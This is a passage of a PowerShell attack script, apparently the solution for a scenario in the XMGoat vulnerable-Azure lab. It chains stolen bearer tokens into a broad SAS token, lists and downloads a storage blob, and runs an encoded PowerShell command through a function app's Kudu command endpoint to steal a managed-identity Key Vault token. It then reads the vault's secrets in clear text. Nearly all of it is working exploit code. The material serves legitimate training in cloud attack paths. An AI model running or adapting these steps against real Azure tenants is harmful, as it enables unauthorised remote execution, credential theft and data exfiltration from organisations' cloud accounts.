129 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body)
130 | $id5Token = (($response.Content).Split('"')[6]).split("\")
131 |
132 |
133 |
134 | #---------------------------------ListingAllThestorageAccounts----------------------------------------------#
135 | $method = "GET"
136 | $URI = "https://management.azure.com:443/subscriptions/e60ae2a9-4b11-47ee-8fd8-dc708ca53dae/providers/Microsoft.Storage/storageAccounts?api-version=2022-09-01"
137 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
138 | $headers.Add("Host", "management.azure.com")
139 | $headers.Add("Referer", "https://learn.microsoft.com/")
140 | $headers.Add("Authorization", "Bearer $($id5Token)")
141 | $headers.Add("Origin", "https://learn.microsoft.com")
142 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams)
143 |
144 | #Look For XMGOAT5
145 | $response.RawContent
146 |
147 |
148 | #----------------CreateSASTokenInordertoGetAccesssToBlob-------------------#
149 |
150 | $method = "POST"
151 | $URI = "https://management.azure.com:443/subscriptions/$($uriParam[0])/resourceGroups/$($uriParam[1])/providers/Microsoft.Storage/storageAccounts/xmgoat5/ListAccountSas?api-version=2022-09-01"
152 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
153 | $headers.Add("Host", "management.azure.com")
154 | $headers.Add("Referer", "https://learn.microsoft.com/")
155 | $contentType = "application/json"
156 | $headers.Add("Authorization", "Bearer $($id5Token)")
157 | $headers.Add("Origin", "https://learn.microsoft.com")
158 | $body = "{
159 | signedExpiry: `"2024-07-10T14:34:31.9776110Z`",
160 | signedPermission: `"wrdlacup`",
161 | signedResourceTypes: `"cso`",
162 | signedServices: `"bqtf`"
163 |
164 | }"
165 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body, $URIParams)
166 | $SAStoken = $response.content.split(':')[1].split('"')[1]
167 |
168 |
169 | #----------------ListContainers-------------------#
170 |
171 | $method = "GET"
172 | $URI = "https://xmgoat5.blob.core.windows.net:443/?comp=list&$($SAStoken)"
173 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
174 | $headers.Add("Host", "xmgoat5.blob.core.windows.net")
175 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers)
176 | $data = $response.Content
177 |
178 | #Container Name
179 | $Container = [Regex]::Match( $data, '(?s)(\w*-\w*)' ).Groups.Value[1]
180 |
181 |
182 |
183 | #----------------ListBlob-------------------#
184 |
185 | $method = "GET"
186 | $URI = "https://xmgoat5.blob.core.windows.net:443/$($Container)?restype=container&comp=list&$($SAStoken)"
187 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
188 | $headers.Add("Host", "xmgoat5.blob.core.windows.net")
189 |
190 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers)
191 | $blobName = [Regex]::Match( $response.Content,'(?s)(\w.*)').Groups.Value[1]
192 |
193 |
194 | #----------------DownloadBlob-------------------#
195 |
196 | $method = "GET"
197 | $URI = "https://xmgoat5.blob.core.windows.net:443/$($Container)/$($blobName)?$($SAStoken)"
198 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
199 | $headers.Add("Host", "xmgoat5.blob.core.windows.net")
200 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers)
201 |
202 | Set-Content "SensitiveData.zip" -Value $response.Content -Encoding Byte
203 |
204 |
205 | #----------------GetTokenForVaultAzureNet-------------------#
206 |
207 | #Get Token for kv5zur555.vault.azure.net
208 | $base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $userSCM,$passwordSCM)))
209 | $GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="0de890fb-8bd4-42f3-9de7-5b236df07468";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://vault.azure.net&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent'
210 | $Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload))
211 | $method = "POST"
212 | $URI = "https://sc5-windows-function-app.scm.azurewebsites.net:443/api/command"
213 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
214 | $headers.Add("Host", "sc5-windows-function-app.scm.azurewebsites.net")
215 | $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
216 | $headers.Add("Authorization", "Basic $($base64AuthInfo)")
217 | $contentType = "application/json"
218 | $body = "{
219 | `"command`":`"powershell -EncodedCommand $($Encoded64)`",
220 | `"dir`":`"C:\\home`"
221 | }
222 | "
223 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body)
224 | $id5VaultAzureNetToken = (($response.Content).Split('"')[6]).split("\")
225 |
226 |
227 | #----------------GetSecrets-------------------#
228 |
229 | $method = "GET"
230 | $URI = "https://kv5zur555.vault.azure.net:443/secrets?api-version=7.3"
231 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
232 | $headers.Add("Host", "kv5zur555.vault.azure.net")
233 | $headers.Add("Accept", "text/html,application/xhtml+xml")
234 | $headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)")
235 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams)
236 | $uriWsecre = ([Regex]::Match( $response.Content,'(?s)https(://.*)').Groups.Value).split('"')[0]
237 |
238 |
239 | #----------------GetSecretsVersion-------------------#
240 |
241 | $method = "GET"
242 | $URI = "$($uriWsecre)/versions?api-version=7.3"
243 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
244 | $headers.Add("Host", "kv5zur555.vault.azure.net")
245 | $headers.Add("Accept", "text/html,application/xhtml+xml")
246 | $headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)")
247 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams)
248 | $response.Content
249 | $uriWsecreVersion = ([Regex]::Match( $response.Content,'(?s)https(://.*)').Groups.Value).split('"')[0]
250 |
251 | #----------------GetSecretsClearText-------------------#
252 |
253 | $method = "GET"
254 | $URI = "$($uriWsecreVersion)?api-version=7.3"
255 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
256 | $headers.Add("Host", "kv5zur555.vault.azure.net")
257 | $headers.Add("Accept", "text/html,application/xhtml+xml")
258 | $headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)")
259 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams)
260 |
261 | #Get the Clear-Text Password for the ZIP file
262 | $clearTextSecrets = ([Regex]::Match( $response.Content,'(?s)"value":(.*)').Groups.Value[0]).split(",")[0].split(":")[1].split('"')[1]
263 |
264 |
265 | Write-host " [+] OPEN THE ZIP FILE WITH THE Following PASSWORD: $($clearTextSecrets)"
--------------------------------------------------------------------------------
/xmgoat_new.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/xmgoat_new.png
--------------------------------------------------------------------------------